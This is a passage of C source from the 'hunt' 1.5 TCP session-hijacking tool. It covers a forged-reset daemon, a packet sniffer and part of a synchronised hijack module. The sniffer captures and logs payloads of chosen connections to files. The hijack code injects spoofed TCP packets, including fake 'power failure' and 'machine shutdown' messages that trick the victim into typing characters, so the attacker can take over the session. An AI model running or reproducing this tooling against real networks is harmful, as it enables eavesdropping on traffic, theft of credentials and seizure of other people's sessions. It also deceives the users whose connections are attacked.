%s\n", i, buf, host_lookup(dbi->dst_addr, hl_mode), count_mask(dbi->dst_mask), buf_dst_ports, str_mode, dbi->rst_only_syn ? "SYN only" : "all"); } static void rst_list_items(void) { struct list_iterator li; struct rst_db_item *dbi; int i = 0; list_iter_set(&li, &l_rst_db); while ((dbi = list_iter_get(&li))) { db_item_print(i++, dbi); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); } static void rst_add_item(void) { struct rst_db_item *dbi; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int mode, syn_mode; int nr; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, 0, 0, NULL) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, 0, 0, NULL) < 0) return; if ((mode = menu_choose_sdb("mode", 'b')) == -1) return; if ((syn_mode = menu_choose_char("reset only syn y/n", "yn", 'y')) == -1) return; if ((nr = menu_choose_unr("insert at", 0, list_count(&l_rst_db), list_count(&l_rst_db))) == -1) return; dbi = malloc(sizeof(struct rst_db_item)); memset(dbi, 0, sizeof(struct rst_db_item)); dbi->src_addr = src_ip; dbi->src_mask = src_mask; port_htons(src_ports); memcpy(dbi->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); dbi->dst_addr = dst_ip; dbi->dst_mask = dst_mask; port_htons(dst_ports); memcpy(dbi->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); dbi->rst_mode = sdb_to_int(mode); switch (syn_mode) { case 'y': dbi->rst_only_syn = 1; break; case 'n': dbi->rst_only_syn = 0; break; } list_insert_at(&l_rst_db, nr, dbi); } static void rst_mod_item(void) { struct rst_db_item *dbi; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int mode, syn_mode; int nr; rst_list_items(); if ((nr = menu_choose_unr("choose item", 0, list_count(&l_rst_db) - 1, list_count(&l_rst_db) - 1)) == -1) return; if (!(dbi = list_at(&l_rst_db, nr))) return; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, dbi->src_addr, dbi->src_mask, dbi->src_ports) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, dbi->dst_addr, dbi->dst_mask, dbi->dst_ports) < 0) return; if ((mode = menu_choose_sdb("mode", int_to_sdb(dbi->rst_mode))) == -1) return; if ((syn_mode = menu_choose_char("reset only syn y/n", "yn", dbi->rst_only_syn ? 'y' : 'n')) == -1) return; port_htons(src_ports); port_htons(dst_ports); dbi->src_addr = src_ip; dbi->src_mask = src_mask; memcpy(dbi->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); dbi->dst_addr = dst_ip; dbi->dst_mask = dst_mask; memcpy(dbi->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); dbi->rst_mode = sdb_to_int(mode); switch (syn_mode) { case 'y': dbi->rst_only_syn = 1; break; case 'n': dbi->rst_only_syn = 0; break; } } static void rst_del_item(void) { int i; struct rst_db_item *dbi; rst_list_items(); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_rst_db) - 1, -1); if (i >= 0) { dbi = list_remove_at(&l_rst_db, i); free(dbi); } } void rstd_menu(void) { char *r_menu = "s/k) start/stop daemon\n" "l) list reset database\n" "a/m/d) add/mod/del entry\n" "x) return\n"; char *r_keys = "skladmx"; int run_it; run_it = 1; while (run_it) { switch (menu("reset daemon", r_menu, "rstd", r_keys, 0)) { case 's': rst_daemon_start(); break; case 'k': rst_daemon_stop(); break; case 'l': rst_list_items(); break; case 'a': rst_add_item(); break; case 'd': rst_del_item(); break; case 'm': rst_mod_item(); break; case 'x': run_it = 0; break; } } } hunt-1.5/sniff.c100644 0 0 52126 6701130370 11710 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include #define SNIFF_FILE_DIR ".sniff" int o_newline = 0; struct sniff_log { unsigned int src_addr; unsigned int dst_addr; unsigned short src_port; unsigned short dst_port; int src_to_dst; int loged_bytes; char *buf; int state; int file_close; FILE *file; struct sniff_log *next; }; struct sniff_info { unsigned int src_addr; unsigned int dst_addr; int src_mask; int dst_mask; int src_ports[MAX_PORTS + 1]; int dst_ports[MAX_PORTS + 1]; int srch_mode; char *search; int log_mode; int log_bytes; int file_close; FILE *file; struct list log; int lock_count; pthread_cond_t lock_cond; pthread_mutex_t mutex; }; static struct ifunc_item ifunc_sniff; static int sniffer_running = 0; static struct list l_sniff_pkt = LIST_INIT(struct packet, p_next[MODULE_SNIFF]); static pthread_t sniff_thr; static struct list l_sniff_db = LIST_INIT(struct sniff_log, next); #define STATE_SRCH 1 #define STATE_LOG 2 #define LOG_BUF_SIZE 2048 static void sniff_info_want(struct sniff_info *si) { pthread_mutex_lock(&si->mutex); si->lock_count++; pthread_mutex_unlock(&si->mutex); } static void sniff_info_release(struct sniff_info *si) { pthread_mutex_lock(&si->mutex); if (--(si->lock_count) == 0) pthread_cond_broadcast(&si->lock_cond); pthread_mutex_unlock(&si->mutex); } static void sniff_info_wait_for_release(struct sniff_info *si) { pthread_mutex_lock(&si->mutex); while (si->lock_count > 0) pthread_cond_wait(&si->lock_cond, &si->mutex); pthread_mutex_unlock(&si->mutex); } void free_sniff_log(struct sniff_log *slog) { if (slog->buf) free(slog->buf); if (slog->file_close) fclose(slog->file); free(slog); } void free_sniff_info(struct sniff_info *si) { struct sniff_log *slog; if (si->search) free(si->search); while ((slog = list_pop(&si->log))) free_sniff_log(slog); if (si->file && si->file_close) fclose(si->file); free(si); } static void sniff_item_print(FILE *f, int i, struct sniff_info *si) { char *str_srch_mode, *str_log_mode; char buf_src_ports[BUFSIZE], buf_dst_ports[BUFSIZE]; char buf[BUFSIZE], *b; char host_buf[BUFSIZE]; str_srch_mode = sdbmode_to_char(si->srch_mode); str_log_mode = sdbmode_to_char(si->log_mode); sprintf_db_ports(si->src_ports, buf_src_ports, sizeof(buf_src_ports), 1); sprintf_db_ports(si->dst_ports, buf_dst_ports, sizeof(buf_dst_ports), 1); b = buf; if (si->search) b += sprintf(b, "%s for X ", str_srch_mode); b += sprintf(b, "log %s %dB", str_log_mode, si->log_bytes); sprintf(host_buf, "%s/%d [%s]", host_lookup(si->src_addr, hl_mode), count_mask(si->src_mask), buf_src_ports); fprintf(f, "%2d) %-22s --> %s/%d [%s] %s\n", i, host_buf, host_lookup(si->dst_addr, hl_mode), count_mask(si->dst_mask), buf_dst_ports, buf); } static void sniff_log_item_print(FILE *f, struct sniff_info *si, struct sniff_log *slog) { char *direction; if (slog->src_to_dst) direction = "-->"; else direction = "<--"; fprintf(f, "%s [%d] %s %s [%d]\n", host_lookup(slog->src_addr, hl_mode), ntohs(slog->src_port), direction, host_lookup(slog->dst_addr, hl_mode), ntohs(slog->dst_port)); } /**************************************************************************** * * functions called from hunt * */ static inline int sniff_packet_match(struct packet *p, struct sniff_info *si) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; if ((si->srch_mode == MODE_SRC || si->srch_mode == MODE_BOTH || si->log_mode == MODE_SRC || si->log_mode == MODE_BOTH) && (iph->saddr & si->src_mask) == (si->src_addr & si->src_mask) && (iph->daddr & si->dst_mask) == (si->dst_addr & si->dst_mask) && port_match(tcph->source, si->src_ports) && port_match(tcph->dest, si->dst_ports)) return 1; if ((si->srch_mode == MODE_DST || si->srch_mode == MODE_BOTH || si->log_mode == MODE_DST || si->log_mode == MODE_BOTH) && (iph->saddr & si->dst_mask) == (si->dst_addr & si->dst_mask) && (iph->daddr & si->src_mask) == (si->src_addr & si->src_mask) && port_match(tcph->source, si->dst_ports) && port_match(tcph->dest, si->src_ports)) return 1; return 0; } static void func_sniff(struct packet *p, void *arg) { struct list_iterator li; struct sniff_info *si; /* * locking l_sniff_db and si->mutex is needed as the si is set to the packet message * and will be used in sniff daemon */ list_lock(&l_sniff_db); list_iter_set(&li, &l_sniff_db); while ((si = list_iter_get(&li))) { if (sniff_packet_match(p, si)) { packet_want(p); sniff_info_want(si); p->p_arg[MODULE_SNIFF] = si; list_produce(&l_sniff_pkt, p); break; } } list_iter_end(&li); list_unlock(&l_sniff_db); } /**************************************************************************************** * * functions for sniff daemon * */ void sniffer_log_print(struct sniff_info *si, struct sniff_log *slog) { char file_name[BUFSIZE], file_name_buf[BUFSIZE]; struct stat stat_buf; FILE *f; int i; if (!slog->loged_bytes) return; if (!slog->file) { if (!si->file) { sprintf(file_name_buf, "%s/%s:%d_%s:%d", SNIFF_FILE_DIR, host_lookup(slog->src_addr, HL_MODE_DEFERRED), ntohs(slog->src_port), host_lookup(slog->dst_addr, HL_MODE_DEFERRED), ntohs(slog->dst_port)); errno = 0; i = 0; strcpy(file_name, file_name_buf); while (stat(file_name, &stat_buf) >= 0 && errno != ENOENT) sprintf(file_name, "%s_%d", file_name_buf, ++i); if (!(f = fopen(file_name, "w"))) { printf("cannot open %s for writing\n", file_name); return; } slog->file = f; slog->file_close = 1; } else { slog->file = si->file; slog->file_close = 0; } } sniff_log_item_print(slog->file, si, slog); for (i = 0; i < slog->loged_bytes; i++) { if (isprint(slog->buf[i]) || (o_newline && isspace(slog->buf[i]))) fputc(slog->buf[i], slog->file); else fprintf(slog->file, "[0x%X]", (unsigned char) slog->buf[i]); } fprintf(slog->file, "\n\n"); fflush(slog->file); slog->loged_bytes = 0; } char *memfind(char *data, int data_len, char *str, int str_len) { char *d; if (data_len == 0 || str_len == 0 || data_len < str_len) return NULL; #if 0 { int i; for (i = 0; i < data_len; i++) { if (isprint(data[i])) fputc(data[i], stdout); else fprintf(stdout, "[0x%X]", (unsigned char) data[i]); } fprintf(stdout, "\n\n"); } #endif while (data_len >= str_len) { if ((d = memchr(data, str[0], data_len - str_len + 1))) { if (memcmp(d, str, str_len) == 0) { return d; } data_len -= (d - data) + 1; data = d + 1; } else break; } return NULL; } char *sniff_log_match(struct packet *p, struct sniff_info *si, struct sniff_log *slog) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; int m_src_to_dst, m_dst_to_src; int find; char *log_data, *retval = NULL; find = 0; m_src_to_dst = m_dst_to_src = 0; if (iph->saddr == slog->src_addr && iph->daddr == slog->dst_addr && tcph->source == slog->src_port && tcph->dest == slog->dst_port) m_src_to_dst = 1; if (iph->daddr == slog->src_addr && iph->saddr == slog->dst_addr && tcph->dest == slog->src_port && tcph->source == slog->dst_port) m_dst_to_src = 1; if (!m_dst_to_src && !m_src_to_dst) return NULL; log_data = p->p_data; switch (slog->state) { case STATE_SRCH: if ((si->srch_mode == MODE_SRC || si->srch_mode == MODE_BOTH) && m_src_to_dst) find = 1; else if ((si->srch_mode == MODE_DST || si->srch_mode == MODE_BOTH) && m_dst_to_src) find = 1; if (find) { if (si->search) { log_data = memfind(p->p_data, p->p_data_len, si->search, strlen(si->search)); if (log_data) { slog->state = STATE_LOG; } } else { log_data = p->p_data; slog->state = STATE_LOG; } } if (slog->state != STATE_LOG) break; /* go through */ case STATE_LOG: if ((si->log_mode == MODE_SRC || si->log_mode == MODE_BOTH) && m_src_to_dst) { retval = log_data; } else if ((si->log_mode == MODE_DST || si->log_mode == MODE_BOTH) && m_dst_to_src) { retval = log_data; } break; default: fprintf(stderr, "sniffer - bad state\n"); retval = NULL; break; } if (!retval) retval = (void *) 1; return retval; } char *sniffer_match(struct packet *p, struct sniff_info *si, struct sniff_log **__slog) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; char *retval = NULL; struct list_iterator li; struct sniff_log *slog; void *rret; list_iter_set(&li, &si->log); retval = NULL; while ((slog = list_iter_get(&li))) { if ((retval = sniff_log_match(p, si, slog))) break; } list_iter_end(&li); if (!retval && p->p_data_len) { slog = malloc(sizeof(struct sniff_log)); if (ntohs(tcph->dest) >= 1024 && ntohs(tcph->source) < 1024) { slog->src_addr = iph->daddr; slog->dst_addr = iph->saddr; slog->src_port = tcph->dest; slog->dst_port = tcph->source; } else { slog->src_addr = iph->saddr; slog->dst_addr = iph->daddr; slog->src_port = tcph->source; slog->dst_port = tcph->dest; } slog->file = NULL; slog->file_close = 0; slog->src_to_dst = 0; slog->loged_bytes = 0; slog->buf = NULL; slog->state = si->search ? STATE_SRCH : STATE_LOG; slog->next = NULL; list_push(&si->log, slog); retval = sniff_log_match(p, si, slog); /* ok, request - resolve addresses for future use */ host_lookup(slog->src_addr, HL_MODE_DEFERRED); host_lookup(slog->dst_addr, HL_MODE_DEFERRED); } if (retval) { if (p->p_hdr.p_tcph->rst || p->p_hdr.p_tcph->fin) { /* ok, wee don't handle half open connection */ sniffer_log_print(si, slog); rret = list_remove(&si->log, slog); assert(rret); free_sniff_log(slog); retval = NULL; } } if (retval == (void *) 1) retval = NULL; if (retval) *__slog = slog; else *__slog = NULL; return retval; } #if 0 static void log_data(FILE *f, char *data, int data_len) { char *d; for (d = data; d < data + data_len; d++) { if (isprint(*d) || (o_newline && isspace(*d))) fputc(*d, f); else fprintf(f, "[0x%X]", (unsigned char) *d); } } #endif void sniffer_log(char *data, struct packet *p, struct sniff_info *si, struct sniff_log *slog) { int data_len, space, i; if (!data) return; if (!slog->buf) slog->buf = malloc(LOG_BUF_SIZE); data_len = p->p_data_len - (data - p->p_data); #if 0 printf("log data_len = %d: --", data_len); log_data(stdout, data, data_len); printf("\n"); #endif if (data_len || slog->loged_bytes >= si->log_bytes) { struct iphdr *iph = p->p_iph; if (slog->src_to_dst && slog->src_addr == iph->daddr) { sniffer_log_print(si, slog); slog->src_to_dst = 0; } else if (!slog->src_to_dst && slog->src_addr == iph->saddr) { sniffer_log_print(si, slog); slog->src_to_dst = 1; } } while (data_len) { if ((space = LOG_BUF_SIZE - slog->loged_bytes) < 0) space = 0; i = min(data_len, space); memcpy(&slog->buf[slog->loged_bytes], data, i); slog->loged_bytes += i; data += i; data_len -= i; if (slog->loged_bytes == LOG_BUF_SIZE) { sniffer_log_print(si, slog); slog->state = si->search ? STATE_SRCH : STATE_LOG; } } if (slog->loged_bytes >= si->log_bytes) { sniffer_log_print(si, slog); slog->state = si->search ? STATE_SRCH : STATE_LOG; } } static void *sniffer(void *arg) { struct sniff_info *si; struct sniff_log *slog; struct packet *p; char *data; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); setpriority(PRIO_PROCESS, getpid(), 10); while ((p = list_consume(&l_sniff_pkt, NULL))) { si = p->p_arg[MODULE_SNIFF]; if ((data = sniffer_match(p, si, &slog))) sniffer_log(data, p, si, slog); sniff_info_release(si); packet_free(p); } return NULL; } /***************************************************************************************** * * management * */ static int sniff_daemon_init(void) { struct stat stat_buf; if (stat(SNIFF_FILE_DIR, &stat_buf) == 0) { if (!S_ISDIR(stat_buf.st_mode)) { printf(SNIFF_FILE_DIR " isn't directory\n"); return -1; } } else { if (errno == ENOENT) { if (mkdir(SNIFF_FILE_DIR, 0700) < 0) { printf(SNIFF_FILE_DIR " can't be created\n"); return -1; } printf("directory " SNIFF_FILE_DIR " created\n"); } else { printf(SNIFF_FILE_DIR " error\n"); return -1; } } return 0; } static void start_sniff(void) { if (sniffer_running) { printf("sniffer already running\n"); return; } if (sniff_daemon_init()) return; list_produce_start(&l_sniff_pkt); pthread_create(&sniff_thr, NULL, (void *(*)(void *)) sniffer, NULL); ifunc_sniff.func = func_sniff; ifunc_sniff.arg = NULL; list_enqueue(&l_ifunc_tcp, &ifunc_sniff); sniffer_running = 1; printf("sniffer started\n"); } static void stop_sniff(void) { struct list_iterator li; struct packet *p; struct sniff_info *si; struct sniff_log *slog; if (!sniffer_running) { printf("sniffer isn't running\n"); return; } list_remove(&l_ifunc_tcp, &ifunc_sniff); /* flush packets from l_sniff_pkt */ while ((p = list_pop(&l_sniff_pkt))) { si = p->p_arg[MODULE_SNIFF]; sniff_info_release(si); packet_free(p); } list_produce_done(&l_sniff_pkt); pthread_join(sniff_thr, NULL); list_lock(&l_sniff_db); list_iter_set(&li, &l_sniff_db); while ((si = list_iter_get(&li))) { while ((slog = list_pop(&si->log))) free_sniff_log(slog); } list_iter_end(&li); list_unlock(&l_sniff_db); sniffer_running = 0; printf("sniffer stopped\n"); } void print_sniff_daemon(void) { if (sniffer_running) { if (pthread_kill(sniff_thr, 0) != 0) { pthread_join(sniff_thr, NULL); sniff_thr = (pthread_t) 0; sniffer_running = 0; set_tty_color(COLOR_BRIGHTRED); printf("Sniffer daemon failed - bug\n"); set_tty_color(COLOR_LIGHTGRAY); } else printf("S"); } } /* * user interface */ static void sniff_item_log_print(FILE *f, int *l_nr, struct sniff_info *si) { struct list_iterator li; struct sniff_log *slog; char *state; char host_buf[BUFSIZE]; list_iter_set(&li, &si->log); while ((slog = list_iter_get(&li))) { switch (slog->state) { case STATE_LOG: state = "LOG"; break; case STATE_SRCH: state = "SRCH"; break; default: state = "ERR"; break; } sprintf(host_buf, "%s [%s]", host_lookup(slog->src_addr, hl_mode), port_lookup(slog->src_port, hl_mode)); fprintf(f, "\t%-24s -> %s [%s] loged=%dB state=%s\n", host_buf, host_lookup(slog->dst_addr, hl_mode), port_lookup(slog->dst_port, hl_mode), slog->loged_bytes, state); if (++(*l_nr) % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); } static void sniff_list_db(int all) { struct list_iterator li; struct sniff_info *si; int i = 0; int l_nr = 0; list_iter_set(&li, &l_sniff_db); while ((si = list_iter_get(&li))) { sniff_item_print(stdout, i++, si); if (++l_nr % lines_o == 0) lines_o_press_key(); if (all) sniff_item_log_print(stdout, &l_nr, si); } list_iter_end(&li); } static void sniff_add_item(void) { char buf[BUFSIZE], *buf_p; char file_name[BUFSIZE], file_name_buf[BUFSIZE]; struct sniff_info *si; unsigned int src_ip, dst_ip; int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int srch_mode, len; int log_mode, log_bytes; int nr; FILE *f; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, 0, 0, NULL) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, 0, 0, NULL) < 0) return; buf_p = NULL; srch_mode = 'b'; switch (menu_choose_char("want to search for y/n", "yn", 'y')) { case 'y': if ((srch_mode = menu_choose_sdb("srch_mode", 'b')) == -1) return; if (menu_choose_string("search for", buf, sizeof(buf), NULL) < 0) return; buf_p = buf; break; }; if ((log_mode = menu_choose_sdb("log mode", 's')) < 0) return; if ((log_bytes = menu_choose_unr("log bytes", 0, 1000000000, 64)) < 0) return; if (menu_choose_string("log file name [by conn]", file_name_buf, sizeof(file_name_buf), NULL) < 0) file_name_buf[0] = 0; if ((nr = menu_choose_unr("insert at", 0, list_count(&l_sniff_db), list_count(&l_sniff_db))) == -1) return; if (file_name_buf[0]) { sprintf(file_name, "%s/%s", SNIFF_FILE_DIR, file_name_buf); if (!(f = fopen(file_name, "a+"))) { printf("can't open %s for writing\n", file_name); return; } } else f = NULL; si = malloc(sizeof(struct sniff_info)); memset(si, 0, sizeof(struct sniff_info)); pthread_mutex_init(&si->mutex, NULL); pthread_cond_init(&si->lock_cond, NULL); si->lock_count = 0; list_init(&si->log, offset_of(struct sniff_log, next)); si->src_addr = src_ip; si->src_mask = src_mask; port_htons(src_ports); memcpy(si->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); si->dst_addr = dst_ip; si->dst_mask = dst_mask; port_htons(dst_ports); memcpy(si->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); si->srch_mode = sdb_to_int(srch_mode); if (buf_p) { len = strlen(buf_p) + 1; si->search = malloc(len); assert(si->search); memcpy(si->search, buf_p, len); } si->log_mode = sdb_to_int(log_mode); si->log_bytes = log_bytes; if (f) { si->file = f; si->file_close = 1; } else si->file_close = 0; list_insert_at(&l_sniff_db, nr, si); } static void sniff_mod_item(void) { char buf[BUFSIZE], *buf_p; struct sniff_info *si; struct sniff_log *slog; unsigned int src_ip, dst_ip; int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int srch_mode, len; int log_mode, log_bytes; int nr; sniff_list_db(0); if ((nr = menu_choose_unr("choose item", 0, list_count(&l_sniff_db) - 1, list_count(&l_sniff_db) - 1)) == -1) return; if (!(si = list_at(&l_sniff_db, nr))) return; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, si->src_addr, si->src_mask, si->src_ports) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, si->dst_addr, si->dst_mask, si->dst_ports) < 0) return; buf_p = NULL; srch_mode = 'b'; switch (menu_choose_char("want to search for y/n", "yn", 'y')) { case 'y': if ((srch_mode = menu_choose_sdb("srch_mode", int_to_sdb(si->srch_mode))) < 0) return; if (menu_choose_string("search for", buf, sizeof(buf), si->search) < 0) return; buf_p = buf; break; }; if ((log_mode = menu_choose_sdb("log mode", int_to_sdb(si->log_mode))) < 0) return; if ((log_bytes = menu_choose_unr("log bytes", 0, 1000000000, si->log_bytes)) < 0) return; port_htons(src_ports); port_htons(dst_ports); list_lock(&l_sniff_db); pthread_mutex_lock(&si->mutex); while (si->lock_count > 0) pthread_cond_wait(&si->lock_cond, &si->mutex); while ((slog = list_pop(&si->log))) free_sniff_log(slog); si->src_addr = src_ip; si->src_mask = src_mask; memcpy(si->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); si->dst_addr = dst_ip; si->dst_mask = dst_mask; memcpy(si->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); si->srch_mode = sdb_to_int(srch_mode); if (buf_p) { free(si->search); len = strlen(buf_p) + 1; si->search = malloc(len); assert(si->search); memcpy(si->search, buf_p, len); } si->log_mode = sdb_to_int(log_mode); si->log_bytes = log_bytes; pthread_mutex_unlock(&si->mutex); list_unlock(&l_sniff_db); } static void sniff_del_item(void) { int i; struct sniff_info *si; sniff_list_db(0); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_sniff_db) - 1, -1); if (i >= 0) { list_lock(&l_sniff_db); si = list_remove_at(&l_sniff_db, i); sniff_info_wait_for_release(si); free_sniff_info(si); list_unlock(&l_sniff_db); } } void newline_option(void) { switch (menu_choose_char("Print newline,... as newline,...", "yn", o_newline ? 'y' : 'n')) { case 'y': o_newline = 1; break; case 'n': o_newline = 0; break; default: break; } } void sniff_options(void) { char *o_menu = "n) print new line,... as new line,...\n" "x) return\n"; char *o_keys = "nx"; int run_it; run_it = 1; while (run_it) { switch (menu("sniff options", o_menu, "sniffopt", o_keys, 0)) { case 'n': newline_option(); break; case 'x': run_it = 0; break; } } } void sniff_menu(void) { char *r_menu = "s/k) start/stop sniff daemon\n" "l) list sniff database c) list sniff connection\n" "a/m/d) add/mod/del sniff item\n" "o) options\n" "x) return\n"; char *r_keys = "sklcamdox"; int run_it; run_it = 1; while (run_it) { switch (menu("sniff daemon", r_menu, "sniff", r_keys, 0)) { case 's': start_sniff(); break; case 'k': stop_sniff(); break; case 'l': sniff_list_db(0); break; case 'c': sniff_list_db(1); break; case 'a': sniff_add_item(); break; case 'm': sniff_mod_item(); break; case 'd': sniff_del_item(); break; case 'o': sniff_options(); break; case 'x': run_it = 0; break; } } } hunt-1.5/synchijack.c100644 0 0 34202 6664063324 12740 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include /* * functions with ACK storm avoidance */ void func_hijack_dst_sync(struct packet *p, struct conn_info *arg) { #if 0 static unsigned int last_seq = 0; static unsigned int last_ack = 0; #endif if (p->p_iph->saddr == arg->dst_addr && p->p_iph->daddr == arg->src_addr && p->p_hdr.p_tcph->source == arg->dst_port && p->p_hdr.p_tcph->dest == arg->src_port) { #if 0 if (last_seq == p->p_hdr.p_tcph->seq && last_ack == p->p_hdr.p_tcph->ack_seq) { printf("."); fflush(stdout); return; } last_seq = p->p_hdr.p_tcph->seq; last_ack = p->p_hdr.p_tcph->ack_seq; #endif packet_want(p); list_produce(&l_hijack_conn, p); } } void func_hijack_src_sync(struct packet *p, struct conn_info *arg) { #if 0 static unsigned int last_seq = 0; static unsigned int last_ack = 0; #endif if (p->p_iph->saddr == arg->src_addr && p->p_iph->daddr == arg->dst_addr && p->p_hdr.p_tcph->source == arg->src_port && p->p_hdr.p_tcph->dest == arg->dst_port) { #if 0 if (last_seq == p->p_hdr.p_tcph->seq && last_ack == p->p_hdr.p_tcph->ack_seq) { printf("."); fflush(stdout); return; } last_seq = p->p_hdr.p_tcph->seq; last_ack = p->p_hdr.p_tcph->ack_seq; #endif packet_want(p); list_produce(&l_hijack_conn, p); } } int user_hijack_sync(struct user_conn_info *uci) { struct conn_info *ci; int retval; if (!(ci = conn_get(uci))) { printf("connection isn't available\n"); retval = 1; } else { if ((retval = hijack_sync(ci)) < 0) printf("sync failed\n"); conn_free(ci); } return retval; } static char *suggest_sync_msg(int first) { static int count = 0; static int old_count = 0; char *retval; char *m1[] = {"\r\nmsg from root: power failure - try to type %d chars\r\n", "\r\nfuck you type %d chars immediately\r\n", "\r\nI/O failure detected, %d chars will solve it\r\n", "\r\nmachine is going down within 5 min, type %d chars\r\n", "\r\nsegmentation fault - %d chars to resume\r\n" }; char *m2[] = {"\r\npower failure detected\r\n... power resumed, ok\r\n", "\r\nready\r\n", "\r\nI/O resumed\r\n", "\r\nmachine shutdown canceled\r\n", "\r\nyou have new mail\r\n" }; if (first) { retval = m1[count]; old_count = count; count = (count + 1) % (sizeof(m1) / sizeof(char *)); } else { retval = m2[old_count]; } return retval; } volatile int need_read, need_write; volatile int sync_was_canceled; volatile int f_sync_done; int nw_was_negative; static void hijack_sync_init_msg(struct conn_info *ci) { int len, msg_len; char buf[128]; struct tcp_spec ts; /* * print message to user */ need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq); need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq); printf("user have to type %d chars and print %d chars to synchronize connection\n", need_read, need_write); ctrl_c_prompt(); if (need_read <= 0) { /* printf("ok, handle %d chars myself\n", need_read);*/ return; } if (need_write <= 0) { /* printf("ok, handle %d print chars myself\n", need_write);*/ return; } len = need_write - need_read; msg_len = sprintf(buf, suggest_sync_msg(1), need_read); if (len >= msg_len) { len = msg_len; memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->src.dst_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = buf; ts.data_len = len; need_write -= len; #if 0 printf("write send/src seq = %u, ack = %u\n", ntohl(ts.seq), ntohl(ts.ack_seq)); printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq)); #endif send_tcp_packet(&ts); } else { /* * be silent */ } } /* * well we have to be faster than destination end because it will send * packet which causes our packet to be dropped, so we need send it * as fast as posible */ #ifdef SYNC_FAST pthread_cond_t cond_hijack_sync; pthread_mutex_t mutex_hijack_sync; #endif static int need_read_want_n = 0; static int need_write_want_n = 0; static void need_read_write_init() { need_read_want_n = -100000; need_write_want_n = -100000; } static void need_read_write_negative(struct conn_info *ci) { struct tcp_spec ts; char buf[1400]; int len; /* * well - after sending something we get usualy ack storm */ if (need_read > 0 && need_write > 0) return; if (need_read_want_n > need_read || need_write_want_n > need_write) return; if (need_read < need_write) len = -need_read; else len = -need_write; if (len > sizeof(buf)) len = sizeof(buf); memset(buf, ' ', len); ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = ci->dst.dst_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = buf; ts.data_len = len; send_tcp_packet(&ts); need_read += len; need_write += len; need_read_want_n = need_read; need_write_want_n = need_write; } static void need_write_positive(struct conn_info *ci, char *data, int data_len) { struct tcp_spec ts; char buf[BUFSIZE]; char fin_msg[BUFSIZE]; int fin_msg_len; int len; sprintf(fin_msg, suggest_sync_msg(0)); fin_msg_len = strlen(fin_msg); if (!data) { #if 0 /* it doesn't work properly in ACK storm - some bug fixed maybe it will work*/ if ((len = need_write - fin_msg_len) <= 0) len = need_write; if (len > sizeof(buf)) len = sizeof(buf); if (len == fin_msg_len) memcpy(buf, fin_msg, len); else memset(buf, ' ', len); #else len = need_write; if (len > sizeof(buf)) { len = sizeof(buf); memset(buf, ' ', len); } else { if (len > fin_msg_len) { memset(buf, ' ', len - fin_msg_len); memcpy(buf + len - fin_msg_len, fin_msg, fin_msg_len); } else memcpy(buf, fin_msg + (fin_msg_len - len), len); } data = buf; data_len = len; } #endif memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->src.dst_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = 